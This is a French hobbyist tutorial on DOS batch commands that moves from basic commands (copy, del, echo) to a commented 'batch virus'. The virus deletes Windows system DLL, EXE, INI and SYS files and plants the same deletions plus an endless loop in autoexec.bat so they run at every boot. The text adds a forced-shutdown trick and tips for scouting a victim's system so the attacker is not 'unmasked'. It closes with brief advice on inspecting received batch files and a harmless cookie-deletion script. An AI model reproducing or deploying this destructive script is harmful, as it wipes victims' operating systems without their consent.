Tout d’abord, voici les principales commandes :

"Break" permet d’activer ou de désactiver CTRL + C
"Cls" Permet d’effacer le contenu de l’écran.
"Command" Permet de lancer l’interpréteur de commandes qui peut être quitté grâce à la commande « exit ».
"Copy" Permet de copier un ou plusieurs fichiers.
-> Tapez la commande copy suivit de l’adresse du fichier à copier puis l’adresse ou il doit être copié.
Ex : Copy c:\doc\doc1.doc c:\mes doc\doc1.doc.

"Date" Permet d’afficher la date et de la modifier.

"Del" Supprime le fichier spécifier. -> Del adresse du ficher à supprimer
Ex : Del c:\doc\doc1.doc

"Echo" Deux utilisations : Permet de désactiver l’affichage du contenu des fichier batch lors de leurs exécution ( Avec le paramètre off ( echo off | pour réactiver l’affichage du texte des batch, tapez echo on ).Permet également d’afficher du texte. Avec cette commande, on peut aussi écrire dans un fichier :

Ex : echo salut>>c:\windows\bureau\texte.txt
Ça écrira « salut » dans le fichier texte.txt (qu’il aurra crée), se situant sur le bureau.

"Edit" Lance l’éditeur MS DOS qui permet de créer et de modifier des fichiers textes tel que les batch.

Remarques : Vous pouvez remarquer que le batch tourne sous Dos, d’où des commandes identiques.
En effet, le principes des fichier batch est d’enregistrer des commandes Dos pré-tapées. Ce qui va vous permettre de comprendre les virus batch très facilement
Remarquez également que pour la suppression de fichiers systèmes, le petit programme utilise le démarrage de l’ordi (le seul moment où le PC est sous Dos). Ceci, en modifiant le fichier Autoexec.bat dans le disque dur.

Exemple commenté d’un virus en .bat :

@echo off                                                             //désactive l’affichage à l’ecran
del c :\windows\*.dll
del c :\windows\system\*.dll
del c :\windows\*.exe
del c :\windows\*.ini
del c :\windows\*.sys                                            //destruction des fichiers vitaux
echo @echo off>>c :\autoexec.bat                         //écriture dans autoexec
del c :\windows\*.dll>>c :\autoexec.bat     
del c :\windows\system\*.dll>>c :\autoexec.bat      //destruction des fichiers protégés au démarrage
del c:\windows\explorer.exe>>c :\autoexec.bat
echo :hack>>c :\autoexec.bat                                //crée un repère « hack »
echo goto hack>>c :\autoexec.bat                          //va au repère hack

Astuce : Pour les virus nécessitant un redémarrage de la machine pour une destruction totale, rajoutez la commande C:\WINDOWS\RUNDLL32.EXE user.exe,exitwindows à la fin pour l’arrêt de la machine.
/ !\  Attention ! Avant d’utiliser un batch sur une personne, il est conseillé de faire un repérage pour identifier le système. Imaginez que le répertoire du gars s’appelle « windows01 », le virus ne pourra pas y accéder, et là : message d ‘erreur et vous êtes démasqué ! Ces virus ne marche que sous windows ! Des petites astuces existent : remplacer windows par %systemdir%

Remarque : Si vous recevez un fichier .bat, faites un clique droit et « édition » pour voir comment il est construit. Ou renommez-le en .txt pour analyser ensuite les commandes.

Une fois que vous maitrisez cette technique, vous pouvez utiliser les fichiers batch de façon plus utile, par exemple pour effacer les cookies :
@echo off
del c:\%systemdir%\cookies\*.txt
echo Cookies Supprimés !

ou sur XP :
@echo off
del c:\Docume~1\login\Cookies\*.txt
echo Cookies Supprimés !